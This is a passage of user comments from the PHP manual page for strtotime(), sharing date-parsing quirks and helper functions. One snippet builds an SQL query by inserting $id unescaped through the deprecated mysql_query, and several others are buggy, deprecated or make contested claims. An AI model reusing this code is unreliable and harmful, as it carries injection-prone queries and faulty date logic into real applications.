    return date("Y-m-d", strtotime($string));//do normal strtotime
}
?>
cristinawithout 01-Feb-2012 06:15
WARNING when using "next month", "last month", "+1 month",  "-1 month" or any combination of +/-X months. It will give non-intuitive results on Jan 30th and 31st.

As described at : http://derickrethans.nl/obtaining-the-next-month-in-php.html

<?php
$d = new DateTime( '2010-01-31' );
$d->modify( 'next month' );
echo $d->format( 'F' ), "\n";
?>

In the above, using "next month" on January 31 will output "March" even though you might want it to output "February". ("+1 month" will give the same result. "last month", "-1 month" are similarly affected, but the results would be seen at beginning of March.)

The way to get what people would generally be looking for when they say "next month" even on Jan 30 and Jan 31 is to use "first day of next month":

<?php
$d = new DateTime( '2010-01-08' );
$d->modify( 'first day of next month' );
echo $d->format( 'F' ), "\n";
?>

<?php
$d = new DateTime( '2010-01-08' );
$d->modify( 'first day of +1 month' );
echo $d->format( 'F' ), "\n";
?>
jdiamond at taoti dot com 09-Nov-2011 06:34
To avoid frustrating confusion I recommend always calling
date_default_timezone_set('UTC') before using strtotime().

Because the UNIX Epoch is always in UTC; you will most likely output the wrong time if you do not do this.

Cheers
silveraxe at gmail dot com 11-Oct-2011 11:01
This date is interpreted as American date (MM/DD/YYYY):
$date = "06/10/2011 14:28"; // Oct 10, 2011

This date is interpreted as European date (DD/MM/YYYY):
$otherDate = "06-10-2011 14:28"; // Jun 10, 2011

That's why you see those differences.
besluitloos at gmail dot com 05-Oct-2011 05:28
I just found out PHP thinks slashes in date-formats aren't very european:
(I guess this is not a bug, just the way it works. But correct me if I'm wrong.)
<?php

    $date = "06/10/2011 14:28"; // 6 october 2011 2:28 pm
    $otherDate = "06-10-2011 14:28"; // 6 october 2011 2:28 pm

    echo $stamp = strtotime($date) . "<br />"; // outputs 1307708880
    echo $otherStamp = strtotime($otherDate) . "<br />"; // outputs 1317904080

    echo date("d-m", $stamp); // outputs 10-06
    echo date("d-m", $otherStamp); // outputs 06-10

?>
hushuilong at gmail dot com 31-Aug-2011 11:37
There is a bug when around a month change.
The bug url: https://bugs.php.net/bug.php?id=27793

To work around this ,check the method below :

Pass the timestamp of the first second on the first day in current month to strtotime the second parameter.

<?php
date_default_timezone_set('Asia/Shanghai');

$first_day_of_month = date('Y-m',time()) . '-01 00:00:01';
$t = strtotime($first_day_of_month);
print_r(array(
            date('Y-m',$t),
            date('Y-m',strtotime('- 1 month',$t)),
            date('Y-m',strtotime('- 2 month',$t)),
));
?>
Michael Muryn (MickoZ) 10-Aug-2011 07:54
This comment apply to PHP5+

We can now do thing like this with strtotime:
<?php
$weekMondayTime = strtotime('Monday this week');
?>
However this works based on a week starting Sunday.  I do not know if we can tweak this PHP behavior, anyone know?

If you want the timestamp of the start of the ISO Week (i.e. on Monday) as defined by ISO 8601, you can use this one liner:
<?php
$isoWeekStartTime = strtotime(date('o-\\WW')); // {isoYear}-W{isoWeekNumber}
?>

You can also find out the start of week of any time and format it into an ISO date with another one liner like this:
<?php
$isoWeekStartDate = date('Y-m-d', strtotime(date('o-\\WW', $time)));
?>

For more information about ISO-8601 and ISO week date:
http://en.wikipedia.org/wiki/ISO_8601#Week_dates
http://en.wikipedia.org/wiki/ISO_week_date
ei7024 at wayne dot edu 25-Jul-2011 03:57
This is the solution to the problems with date below 1970. Below code help the date to show up in format such as MM/DD/YYYY. It can be tailored to fit any format.

This works if the database stores the dates in "DATE" format.

<?php

$query = "SELECT emp_fn,emp_ln, emp_dob FROM requests WHERE id=$id;";
$result = mysql_query($query,$DBConn);
$row = mysql_fetch_array($result);

//TESTING BELOW 1970 Date of Birth

$dobcheck = strtotime($row['emp_dob']);

//NOTE: echo $dobcheck on your system to see if you get negative values for date below 1970

if ($dobcheck <= 0)
    {
        $date = $row['emp_dob'];
        $date = explode('-', $date);
        $Y = $date[0];
        $M = $date[1];
        $D = $date[2];
        $dobshow = $M."/".$D."/".$Y;        //echos mm/dd/YYYY format for dates below 1970.
    } else {
        $dobshow = date("m/d/Y",strtotime($row['emp_dob']));
    }

//ENDTESTING

?>
Annomoys 11-Jun-2011 12:43
Strtotime() can be used to loop through date range.
as follows

<?php
$start = strtotime('2009-02-01');
$end = strtotime('2009-03-10');
$date = $start;
while($date < $end)
{

   //write your code here
   $date = strtotime("+1 day", $date);(counter)

}

?>
peterson at npd dot ufsc dot br 08-Apr-2011 10:38
A function to add two times, without using the explode function

<?php

$hour_one = "01:20:20";
$hour_two = "05:50:20";
$h =  strtotime($hour_one);
$h2 = strtotime($hour_two);

$minute = date("i", $h2);
$second = date("s", $h2);
$hour = date("H", $h2);

echo "<br>";

$convert = strtotime("+$minute minutes", $h);
$convert = strtotime("+$second seconds", $convert);
$convert = strtotime("+$hour hours", $convert);
$new_time = date('H:i:s', $convert);

echo $new_time;

?>
a dot fruchi at bit-runners dot com 17-Feb-2011 02:45
If you want to confront a date stored into mysql as a date field (not a datetime) and a date specified by a literal string, be sure to add "midnight" to the literal string, otherwise they won't match:

<?php
//I.E.: today is 17/02/2011

echo strtotime('2011-01-01'); //1293836400
echo strtotime('first day of last month'); //1293888128 Note: it's different from the previous one, since it computes also the seconds passed from midnight!!! So this one is always greater than simple '2011-01-01'
echo strtotime('midnight first day of last monty');//1293836400 Note: it's the same as '2011-01-01'

?>
nyctimus at yahoo dot com 06-Jan-2011 02:54
strtotime() produces different output on 32 and 64 bit systems running PHP 5.3.3 (as mentioned previously).  This affects the "zero date" ("0000-00-00 00:00:00") as well as dates outside the traditional 32 date range.

strtotime("0000-00-00 00:00:00") returns FALSE on a 32 bit system.
strtotime("0000-00-00 00:00:00") returns -62169955200 on a 64 bit system.
x at xero dot nu 21-Dec-2010 06:41
strtotime is awesome for converting dates.
in this example i will make an RSS date, an
ATOM date, then convert them to a human
readable m/d/Y dates.

<?php
$rss = date("r");
$atom = date("c");
$human1 = date('m/d/Y', strtotime($rss));
$human2 = date('m/d/Y', strtotime($atom));

echo $rss."<br />".$atom."<br />".$human1."<br />".$human2;
?>
marcodemaio at vanylla dot it 27-Oct-2010 08:09
NOTE: strttotime returns wrong values (or guessed values) when the Week day does not macth the date.
Simple example:

<?php
$d1 = strtotime("26 Oct 0010 12:00:00 +0100");
$d2 = strtotime("Tue, 26 Oct 0010 12:00:00 +0100");
$d3 = strtotime("Sun, 26 Oct 0010 12:00:00 +0100"); //But Oct 26 is a Tuesday, NOT a Sunday.

echo $d1; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d2; //ok 1288090800 that is "26 Ott 2010 - 11:00";
echo $d3; //WRONG! 1288522800 that is "31 Ott 2010 - 11:00";
?>

Sometime I found RSS feeds that contains week days that do not match the date.

A possible solution is to remove useless week day before passing the date string into strtime, example:

<?php
   $date_string = "Sun, 26 Oct 0010 12:00:00 +0100";
   if( ($comma_pos = strpos($date_string, ',')) !== FALSE )
      $date_string = substr($date_string, $comma_pos + 1);
   $d3 = strtotime($date_string);
?>
sam at frontiermedia dot net dot au 28-Sep-2010 12:23
I've had a little trouble with this function in the past because (as some people have pointed out) you can't really set a locale for strtotime. If you're American, you see 11/12/10 and think "12 November, 2010". If you're Australian (or European), you think it's 11 December, 2010. If you're a sysadmin who reads in ISO, it looks like 10th December 2011.

The best way to compensate for this is by modifying your joining characters. Forward slash (/) signifies American M/D/Y formatting, a dash (-) signifies European D-M-Y and a period (.) signifies ISO Y.M.D.

Observe:

<?php
echo date("jS F, Y", strtotime("11.12.10"));
// outputs 10th December, 2011

echo date("jS F, Y", strtotime("11/12/10"));
// outputs 12th November, 2010

echo date("jS F, Y", strtotime("11-12-10"));
// outputs 11th December, 2010
?>

Hope this helps someone!
Tim 19-Sep-2010 06:52
Unlike "yesterday 14:00", "14:00 yesterday" will return 00:00 of yesterday.  Here's a function that'll fix that:

<?php
function fix_strtotime($date)
{
    if(preg_match('/([012]?[0-9]?:[0-5]{1}\d\s*[aA|pP]?[mM]?)(\s+)(.+)/', $date, $matches))
    {
        return strtotime($matches[3] . $matches[2] . $matches[1]);
    }
    return strtotime($date);
}
echo date('Y-m-d H:i:s', fix_strtotime('14:00 yesterday')); // 2010-09-17 14:00:00
echo date('Y-m-d H:i:s', fix_strtotime('yesterday 14:00')); // 2010-09-17 14:00:00
?>
Stefan Kunstmann 30-Jul-2010 03:32
UK dates (eg. 27/05/1990) won't work with strotime, even with timezone properly set.
However, if you just replace "/" with "-" it will work fine.
<?php
$timestamp = strtotime(str_replace('/', '-', '27/05/1990'));
?>
prajo74 at gmail dot com 13-Jul-2010 05:59
Take Care: strtotime() may not add months properly. The out put may not be as expected.

<?php echo '<br />'.date("Y-m-d", strtotime('+1 month', mktime(0,0,0,1,31,2010))); ?>

PHP Output - 2010-03-03 (Version 5.3.2) (Not Expected)

MySQL Output while adding 1 month to 2010-01-31 will be 2010-02-28 (As Expeced)
A dot Lepe dev+php at alepe dot com 26-Apr-2010 05:11
This is a quick function to calculate the "working days" within a period of one year. "Working days" are those without weekends and without the holidays specified in the $holiday array. I left for the reader its implementation for more than 1 year.
<?php
/*
 * Author: Alberto Lepe
 * Calculates the working days from today to an specific date.
 * NOTE: counting starts from today
 * @pararm to_date: timestamp
 */
function get_working_days($to_date) {
    $holidays = array(
        1 => array(10), //2011 ...
        2 => array(11),
        3 => array(21), //... 2011
        4 => array(29,30), //2010 ...
        5 => array(3,4,5),
        6 => array(),
        7 => array(19),
        8 => array(11,12,13),
        9 => array(20,23),
       10 => array(11),
       11 => array(3,23),
       12 => array(23) //... 2010
    );

    for($to_date, $w = 0, $i = 0, $x = time(); $x < $to_date; $i++, $x = strtotime("+$i day")) {
       if(date("N",$x) < 6 &! in_array(date("j",$x),$holidays[date("n",$x)])) $w++;
    }
    return $w;
}

//Usage:
echo get_working_days(strtotime("2011-01-08"));
?>
ariunbayar 20-Apr-2010 02:03
if you looking for next 31 here it is for PHP5.3
<?php
$d = 31;
$now = strtotime('2010-06-02');
while (date('t', $now) < $d){
  $now = strtotime('last day of next month', $now);
}
echo date('Y-m-'.$d, $now);
?>
will output "2010-07-31".
clarkDONTSPAMMEwise at gmail dot com 29-Mar-2010 06:31
Always use the format strtotime("+1 day") when adding/subtracting units of time rather than manually adding 24*60*60 seconds to a timestamp, for example, as this format works as desired with Daylight Saving Time changes. If your timezone adheres to Daylight Saving Time, a situation like the following may apply to you:

<?php
date_default_timezone_set('America/Chicago');

// Don't do this:
$today = '2009-11-01';
$tomorrow = strtotime($today) + 24*3600;
print date('Y-m-d', $tomorrow);
// Output: 2009-11-01

// Do this instead:
$today = '2009-11-01';
$tomorrow = strtotime('+1 day', strtotime($today));
print date('Y-m-d', $tomorrow);
// Output: 2009-11-02
Alex Austin 16-Mar-2010 05:18
Seems in PHP5 there are new values that can be passed to the function:

<?php
echo time();
echo '<br>';
echo strtotime('noon');
echo '<br>';
echo strtotime('midnight');
echo '<br>';
echo strtotime('10am');
echo '<br>';
echo strtotime('2pm');
?>
karim at sweetcode dot co dot uk 24-Feb-2010 01:17
A handy function I wrote to tell you whether a given date (unix timestamp) is a working day in the UK. i.e. not a bank holiday or weekend day. Returns true or false.

<?php
function isUkWorkingDay( $utDate )
  {
    /* weekend? */
    if( date( 'N', $utDate ) > 5 ){
      return false;
    }

    /* bank holiday? */
    $year = date( 'Y', $utDate );

    $utFirstJan = strtotime( '1st jan ' . $year );

    $firstJanDay = date( 'N',  $utFirstJan );

    if ( $firstJanDay > 5 ){ // sat or sun
      $holidays[] = date( 'Y-m-d', strtotime( 'first monday january ' . $year ));
    }
    else{
      $holidays[] = date( 'Y-m-d',  $utFirstJan) ;
    }

    $utEasterSunday = easter_date( $year );
    $holidays[] = date( 'Y-m-d', strtotime( 'last friday', $utEasterSunday ));
    $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $utEasterSunday ));
    $holidays[] = date( 'Y-m-d', strtotime( 'first monday may ' . $year ));
    $holidays[] = date( 'Y-m-d', strtotime( 'last monday june ' . $year )); // end of may B.H.
    $holidays[] = date( 'Y-m-d', strtotime( 'last monday september ' . $year ));  // end of August B.H.

    $xmasDay = date( strtotime( '25th december ' . $year ) );
    if ( date( 'N', $xmasDay ) == 5 ){ // falls on friday
      $holidays[] = date( 'Y-m-d', $xmasDay );
      $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $xmasDay ));
    }
    if ( date( 'N', $xmasDay ) > 5 ){ // falls on sat or sun
      $holidays[] = date( 'Y-m-d', strtotime( 'next monday', $xmasDay ));
      $holidays[] = date( 'Y-m-d', strtotime( 'next tuesday', $xmasDay ));
    }
    if ( date( 'N', $xmasDay ) < 5 ){ // falls on mon to thurs
      $holidays[] = date( 'Y-m-d', $xmasDay );
      $holidays[] = date( 'Y-m-d', strtotime( 'next day', $xmasDay ));
    }

    return( !in_array( date( 'Y-m-d', $utDate ), $holidays ) ) ;
  }
?>
octavio 17-Feb-2010 11:47
This function calculates if date2 is within an interval of seconds from date1.

<?php
function is_on_interval($date1,$date2,$interval){
    $dat2=strtotime($date2);
    $dat3=strtotime('+'.$interval.' second '.$date1);

    if($dat2>=$dat3){
        return false;
    }
    else
    {
        return true;
    }
}

$date1='2009-08-18 00:02:00';
$date2='2009-08-18 00:05:00';
?>

$date2 is 180 seconds from $date1.

<?php is_on_interval($date1,$date2,'120'); ?>
will return false.

<?php is_on_interval($date1,$date2,'180'); ?>
will return true.

<?php is_on_interval($date1,$date2,'220'); ?>
will return true.
katylava at gmail dot com 08-Feb-2010 08:04
You should play around with strtotime() before you decide what it can't do.  for example:

<?php

# on 2/8/2010
date('m/d/y', strtotime('first day')); # 02/01/10
date('m/d/y', strtotime('last day')); # 02/28/10
date('m/d/y', strtotime('last day next month')); # 03/31/10
date('m/d/y', strtotime('last day last month')); # 01/31/10
date('m/d/y', strtotime('2009-12 last day')); # 12/31/09 - this doesn't work if you reverse the order of the year and month
date('m/d/y', strtotime('2009-03 last day')); # 03/31/09
date('m/d/y', strtotime('2009-03')); # 03/01/09
date('m/d/y', strtotime('last day of march 2009')); # 03/31/09
date('m/d/y', strtotime('last day of march')); # 03/31/10
?>
Leon F. 04-Nov-2009 03:58
I needed to generate timestamps for specific days of the week in a month (e.g. the 2nd wednesday or the 3rd friday).  After messing about with different syntax, I found this works pretty consistently:

<?php
strtotime('+0 week sun nov 2009'); // first sunday in nov 2009
strtotime('+1 week sun nov 2009'); // second sunday
strtotime('-1 week sun nov 2009'); // last sunday in oct 2009
?>

This is helping me considerably in parsing ical spec's RRULE sets for example.
kooshal at live dot com 21-Oct-2009 03:59
when using PHP 5.3, you must use date_default_timezone_set() to set the time zone otherwise you will get warning similar to this (if you have display_errors=On)—

Warning: date() [function.date]: It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'Asia/Dubai' for '4.0/no DST' instead in path/to/php/script.php
on line ##

Example:
date_default_timezone_set('Indian/Mauritius');

For a list of supported timezones in PHP, see http://www.php.net/manual/en/timezones.php
flexibill2001 at hotmail dot com 09-Oct-2009 09:38
lot of people said that there is bug in strtotime method like given in this example:

<?php echo date( "Y-m-d", strtotime( "2009-01-31 +1 months" ) )."<br>"; ?>

this gives 03-03-2009 instead of 28-02-2009

here is work arround for this bug.

<?php
/// n=no of months  , $y =year, $m = month, $d = day , $t = + or -

function NewMonthDate($n,$y,$m,$d,$t)
    {

        for($i=1; $i <= $n; $i++)
            {
            if($t=="+")
                {
                $pmonth=$m+$i;
                }
            if($t=="-")
                {
                $pmonth=$m-$i;
                }

        $pyear=$y;
        $aa=1;

        /////////////////this will show lastmonth//////////////
        $lastmonth = mktime(0, 0, 0, $pmonth, $aa,  $pyear);

         $smonth=date("m",$lastmonth);
         $syear=date("Y",$lastmonth);
         $ndays=date("t",$lastmonth);
        $valarray=array($smonth,$syear,$ndays);

        $mm=$mm+$ndays;

            }

        $basedate="$pyear-$m-$d";
        $date2 = strtotime("$basedate $t$mm days");

        $date1=date("d-m-Y",$date2);
        return  $date1;

    }   ////

$n=1;
$y=2009;
$m=01;
$d=31;
$t="+";

$rr=NewMonthDate($n,$y,$m,$d,$t);
print_r($rr);
?>
Anonymous 06-Oct-2009 12:47
This function DOES NOT work from left-to-right as one would think. This function parses the string as a whole, then applies the intervals by size (year, month, ...). Take the following example:

<?php
$Date = strtotime('2011-02-22'); // February 22nd, 2011. 28 days in this month, 29 next year.
echo date('n/j/Y', strtotime('+1 year, +7 days', $Date)); // add 1 year and 7 days. prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+7 days, +1 year', $Date)); // add 7 days and 1 year, but this also prints 2/29/2012
echo "<br />";
echo date('n/j/Y', strtotime('+1 year', strtotime('+7 days', $Date))); // this prints 3/1/2012, what the 2nd would do if it was left-to-right
?>
chris at teamsiems dot com 08-Sep-2009 07:20
It took me a while to notice that strtotime starts searching from just after midnight of the first day of the month. So, if the month starts on the day you search for, the first day of the search is actually the next occurrence of the day.

In my case, when I look for first Tuesday of the current month, I need to include a check to see if the month starts on a Tuesday.

<?php
if (date("l", strtotime("$thisMonth $thisYear"))=='Tuesday') {
  echo "<p>This month starts on a Tuesday. Use \"$thisMonth $thisYear\" to check for first Tuesday.</p>\n";
} else {
  echo "<p>This month does not start on a Tuesday. Use \"first tuesday $thisMonth $thisYear\" to check for first Tuesday.</p>\n";
}
?>
michal dot kocarek at brainbox dot cz 07-Aug-2009 03:35
strtotime() also returns time by year and weeknumber. (I use PHP 5.2.8, PHP 4 does not support it.) Queries can be in two forms:
- "yyyyWww", where yyyy is 4-digit year, W is literal and ww is 2-digit weeknumber. Returns timestamp for first day of week (for me Monday)
- "yyyy-Www-d", where yyyy is 4-digit year, W is literal, ww is 2-digit weeknumber and dd is day of week (1 for Monday, 7 for Sunday)

<?php
// Get timestamp of 32nd week in 2009.
strtotime('2009W32'); // returns timestamp for Mon, 03 Aug 2009 00:00:00
// Weeknumbers < 10 must be padded with zero:
strtotime('2009W01'); // returns timestamp for Mon, 29 Dec 2008 00:00:00
// strtotime('2009W1'); // error! returns false

// See timestamp for Tuesday in 5th week of 2008
strtotime('2008-W05-2'); // returns timestamp for Tue, 29 Jan 2008 00:00:00
?>

Weeknumbers are (probably) computed according to ISO-8601 specification, so doing date('W') on given timestamps should return passed weeknumber.
Travis Pulley 06-Aug-2009 09:11
Be aware that if you are running 5.2.8, there is a memory leak with this function and it could cost someone valuable time finding out what the problem was. Per usual, running the latest (minor) version tends to be a good idea.

See here: http://bugs.php.net/bug.php?id=46889
php at davidstockton dot com 31-Jul-2009 06:04
Adding a note to an already long page:

Try to be as specific as you can with the string you pass in.  For example

<?php
echo date('F', strtotime('February'));
?>

is not specific enough.  Depending on the day of the month, you may get a different response.  For a non-leap year, you'll get March if the _current day of the month_ is the 29th, 30th or 31st.  If it's a leap year, you'll get March on the 30th or 31st of the month.  The same thing will happen on the 31st of any month when you pass in the name of any month with less than 31 days.  This happens because the strtotime() function will fill in missing parts from the current day.

Assuming today is July 31, the timestamp returned by strtotime('February') will ultimately be seen as February 31 (non-existant obviously), which then is interpreted as March 3, thus giving a month name of March.

Interestingly, adding the year or the day will give you back the expected month.
nan at ladyslipperwebs dot com 12-Jul-2009 01:27
A great little function to see if dates chosen are more than three months apart and if they are, change the end date to three months from the begin date. This is easy to change.

<?php
function daysDifference($endDate, $startDate)
{
    $startTS = strtotime($startDate);
    $endTS = strtotime($endDate);
    $maxTS = strtotime($startDate.' + 3 months');
    if($endTS > $maxTS) {
          $endTS = $maxTS;
    }
    $endDate = date('Y-m-d', $endTS);
    return $endDate;
}
?>
Killermonk 26-Jun-2009 01:13
You are not restricted to the same date ranges when running PHP on a 64-bit machine. This is because you are using 64-bit integers instead of 32-bit integers (at least if your OS is smart enough to use 64-bit integers in a 64-bit OS)

The following code will produce difference output in 32 and 64 bit environments.

var_dump(strtotime('1000-01-30'));

32-bit PHP: bool(false)
64-bit PHP: int(-30607689600)

This is true for php 5.2.* and 5.3

Also, note that the anything about the year 10000 is not supported. It appears to use only the last digit in the year field. As such, the year 10000 is interpretted as the year 2000; 10086 as 2006, 13867 as 2007, etc
viper7 at viper-7 dot com 28-May-2009 12:42
Observed date formats that strtotime expects, it can be quite confusing, so hopefully this makes things a little clearer for some.

mm/dd/yyyy - 02/01/2003  - strtotime() returns : 1st February 2003
mm/dd/yy   - 02/01/03    - strtotime() returns : 1st February 2003
yyyy/mm/dd  - 2003/02/01 - strtotime() returns : 1st February 2003
dd-mm-yyyy - 01-02-2003  - strtotime() returns : 1st February 2003
yy-mm-dd   - 03-02-01    - strtotime() returns : 1st February 2003
yyyy-mm-dd - 2003-02-01  - strtotime() returns : 1st February 2003
PHP_Chimp 14-May-2009 03:08
A warning for those that think that their is only one way to interpret 2009 April 4th...PHP thinks otherwise.
<?php
            $test = "April 4th 2009";
            if (strtotime($test) === false) {
                echo "test == false <br />\n t = $test";
            }
            else {
                echo "test == true";
            }
?>
Works fine, with the American 'Month Day Year'.
<?php
            $test = "2009 April 4th";
            if (strtotime($test) === false) {
                echo "test == false <br />\n t = $test";
            }
            else {
                echo "test == true";
            }
?>
Will produce a false result. It seems that even with a 4 figure year that the American date format overrules the obviousness of 2009 April 4th.
Peter 30-Mar-2009 02:57
If you look for function to convert date from RSS pubDate, always make sure to check correct input format, found that for date("r") or "D, d M o G:i:s T" strtotime may return wrong result.
fuhrysteve at gmail dot com 21-Mar-2009 04:18
Here's a hack to make this work for MS SQL's datetime junk, since strtotime() has issues with fractional seconds.

<?php

$MSSQLdatetime = "Feb  7 2009 09:48:06:697PM";
$newDatetime = preg_replace('/:[0-9][0-9][0-9]/','',$MSSQLdatetime);
$time = strtotime($newDatetime);
echo $time."\n";

?>
CEO at CarPool2Camp dot org 12-Mar-2009 02:41
Another way to get the last day of a given month is to use date('t');
bbutts at stormcode dot net 25-Feb-2009 07:43
After looking around I couldn't find any code that would properly and simply compute the last day of the month.  +1 month will not work ex. 1 month after February 28th is March 3rd.

This line of code returns the last day of the current month:

<?php
echo 'Last day of the month: ' . date('m/d/y h:i a',(strtotime('next month',strtotime(date('m/01/y'))) - 1));
?>

It uses the first of the current month, gets the first of the next month, then subtracts 1 second to give you 11:59pm on the last day of the current month.

Hope this helps someone.
Zoe Blade 11-Feb-2009 05:40
Here's a revised version of [code I originally wrote on 21-JAN-09].  You can work out the number of days left in the month or year like this.  [This version] also works with arbitrary dates given to it rather than only working with the current date:

<?php
function days_left_in_month($isoDate) {
  $date = explode('-', $isoDate);
  $date[1]++;
  $date[1] = str_pad($date[1], 2, '0', STR_PAD_LEFT);

  if ($date[1] == '13') {
    $date[0]++;
    $date[1] = '01';
  }

  $date[2] = '01';
  $isoDateNextMonth = implode('-', $date);
  return ceil((strtotime($isoDateNextMonth) - strtotime($isoDate)) / 86400);
}

echo days_left_in_month('2009-01-31'); // Much better
?>

[EDIT BY danbrown AT php DOT net: Contains bugfixes by (akniep AT rayo DOT info) on 03-FEB-09 and the original author.]
akniep at rayo dot info 03-Feb-2009 05:37
The "+1 month" issue solved as in MySQL.
========================================
As noted in several comments, PHP's strtotime() solves the "+1 month" ("next month") issue on days that do not exist in the subsequent month differently than other implementations like for example MySQL.

// PHP:  2009-03-03
<?php
echo date( "Y-m-d", strtotime( "2009-01-31 +1 month" ) );
?>

// MySQL:  2009-02-28
<?php
SELECT DATE_ADD( '2009-01-31', INTERVAL 1 MONTH );
?>

========================================
If not for consistency with MySQL there are several reasons why one may need a PHP-function that calculates "+1 month" as MySQL does. Certainly, for various kinds of business logic it seems much more intuitiv to land on a date within the subsequent month rather than on a date within the next but one if you calculate "next month" ("+1 month").

The following function calculates a date X months in the future of a given date ($base_time).

<?php

/**
 * Calculates a date lying a given number of months in the future of a given date.
 * The results resemble the logic used in MySQL where '2009-01-31 +1 month' is '2009-02-28' rather than '2009-03-03' (like in PHP's strtotime).
 *
 * @author akniep
 * @since 2009-02-03
 * @param $base_time long, The timestamp used to calculate the returned value .
 * @param $months int, The number of months to jump to the future of the given $base_time.
 * @return long, The timestamp of the day $months months in the future of $base_time
 */
function get_x_months_to_the_future( $base_time = null, $months = 1 )
{
    if (is_null($base_time))
        $base_time = time();

    $x_months_to_the_future    = strtotime( "+" . $months . " months", $base_time );

    $month_before              = (int) date( "m", $base_time ) + 12 * (int) date( "Y", $base_time );
    $month_after               = (int) date( "m", $x_months_to_the_future ) + 12 * (int) date( "Y", $x_months_to_the_future );

    if ($month_after > $months + $month_before)
        $x_months_to_the_future = strtotime( date("Ym01His", $x_months_to_the_future) . " -1 day" );

    return $x_months_to_the_future;
} //get_x_months_to_the_future()

// Tests
// =======

// returns 2009-02-28
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2009-01-31' ) ) ), "\n";
// returns 2008-02-29
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2008-01-31' ) ) ), "\n";
// returns 2009-09-30 12:00:00
echo date( "Y-m-d H:i:s", get_x_months_to_the_future( strtotime( '2009-05-31 12:00:00' ), 4 ) ), "\n";

?>
joris dot landman at gmail dot com 29-Dec-2008 09:13
Possible UTC (GMT) version of strtotime()

<?php

function gmstrtotime($my_time_string) {
    return(strtotime($my_time_string . " UTC"));
}

?>

strtotime() assumes that anything you feed into it, uses the server's "relative" time zone.
By adding " UTC" to any input string, you make it "absolute".
will at mooloop dot com 15-Oct-2008 06:25
A simple way to work out someone's age in years:

<?php
$dob = '1984-09-04';
$age = date('Y') - date('Y', strtotime($dob));
if (date('md') < date('md', strtotime($dob))) {
    $age--;
}
?>
orel16 at ya dot ru 25-Sep-2008 07:48
Some simple function to find all periods in dates list

<?php
function extract_periods($dates,$delimiter="="){
sort($dates);
$period=Array();
$date_from=$date_to="";
$k=0;
foreach ($dates as $key=>$value) {
 if (empty($date_from)) $date_from=$value;
 else {
  $k++;
  $tmp_date=strtotime("+ ".$k." day",strtotime($date_from));
  if (date("Y-m-d", $tmp_date)!=$value) {
   $tmp_date=strtotime("+ ".($k-1)." day",strtotime($date_from))
   $date_to=date("Y-m-d",$tmp_date);
   if ($date_from!=$date_to)
    $period[]=$date_from.$delimiter.$date_to;
   else
    $period[]=$date_from;
   $date_from=$value;
   $k=0;
  }
 }
}
return $period;
}

Use:

$dates = Array(
"2008-09-30",
"2008-09-28",
"2008-09-26",
"2008-09-27",
"2008-09-25");
$periods = extract_periods($dates);

foreach ($periods as $value)
echo $value."<br />";
?>

Output:

2008-09-25=2008-09-28
2008-09-30
orel16 at ya dot ru 12-Sep-2008 08:35
I'm find some simple way to find all days between a couple of dates
(Все дни между двумя датами):

<?php
$dt=Array("27.01.1985","12.09.2008");
$dates=Array();
$i=0;
while (strtotime($dt[1])>=strtotime("+".$i." day",strtotime($dt[0])))
$dates[]=date("Y-m-d",strtotime("+".$i++." day",strtotime($dt[0])));

foreach ($dates as $value) echo $value."<br />";
?>
raph 09-Sep-2008 11:39
A little function to add 2 time lenghts. Enjoy !

<?php
function AddPlayTime ($oldPlayTime, $PlayTimeToAdd) {

    $pieces = split(':', $oldPlayTime);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];
    $oldPlayTime=$hours.":".$minutes.":".$seconds;

    $pieces = split(':', $PlayTimeToAdd);
    $hours=$pieces[0];
    $hours=str_replace("00","12",$hours);
    $minutes=$pieces[1];
    $seconds=$pieces[2];

    $str = $str.$minutes." minute ".$seconds." second" ;
    $str = "01/01/2000 ".$oldPlayTime." am + ".$hours." hour ".$minutes." minute ".$seconds." second" ;

    // Avant PHP 5.1.0, vous devez comparer avec  -1, au lieu de false
    if (($timestamp = strtotime($str)) === false) {
        return false;
    } else {
        $sum=date('h:i:s', $timestamp);
        $pieces = split(':', $sum);
        $hours=$pieces[0];
        $hours=str_replace("12","00",$hours);
        $minutes=$pieces[1];
        $seconds=$pieces[2];
        $sum=$hours.":".$minutes.":".$seconds;

        return $sum;

    }
}

$firstTime="00:03:12";
$secondTime="02:04:34";

$sum=AddPlayTime($firstTime,$secondTime);
if ($sum!=false) {
    echo $firstTime." + ".$secondTime." === ".$sum;
}
else {
    echo "failed";
}
?>
jaymin at gmx dot net 08-Aug-2008 03:48
strtotime() seems to treat dates delimited by slashes as m/d/y and dates delimited by dashes are treated as d-m-y.

<?php
print date('Y-m-d', strtotime("06/08/2008"));
?>

returns 2008-06-08

while

<?php
print date('Y-m-d', strtotime("06-08-2008"));
?>

returns 2008-08-06

Using PHP 5.2.6
richard at happymango dot me dot uk 10-Jun-2008 12:41
If you want to round a timestamp to the closest specified increment, for example to the closest 15 minutes, then this function could help

Definition:
int roundTime ( string $increment[, int $timestamp] )

Parameters:
$increment is a string like you would for strtotime (but dont add a + or - to the front)
$timestamp (optional) the timestamp used to calculate the returned value.

Return Value:
returns timestamp

this function only works for increments less than or equal to an hour

Its not pretty but it works.

<?php

function roundTime($increment, $timestamp=0)
{
    if(!$timestamp) $timestamp = time();

    $increment = strtotime($increment, 1) - 1;
    $this_hour = strtotime(date("Y-m-d H:", strtotime("-1 Hour", $timestamp))."00:00");
    $next_hour = strtotime(date("Y-m-d H:", strtotime("+1 Hour", $timestamp))."00:00");

    $increments = array();
    $differences = array();

    for($i = $this_hour; $i <= $next_hour; $i += $increment)
    {
        $increments []= $i;
        $differences []= ($timestamp > $i)? $timestamp - $i : $i - $timestamp;
    }

    arsort($differences);

    $key = array_pop(array_keys($differences));

    return $increments[$key];
}

////////////
//EXAMPLE //
////////////

$result = roundtime("15 minutes");

echo date("H:i", time())." rounded to closest $increment is ".date("H:i", $result);

//11:24 rounded to closest 15 minutes is 11:30
?>

Here are two other functions. ceilTime() and floorTime() which round up or down to the specified increment respectively.

<?php
//RSS: 10/06/08 rounds a timestamp to the next specified increment
//only works for increments less than or equal to 1 hour
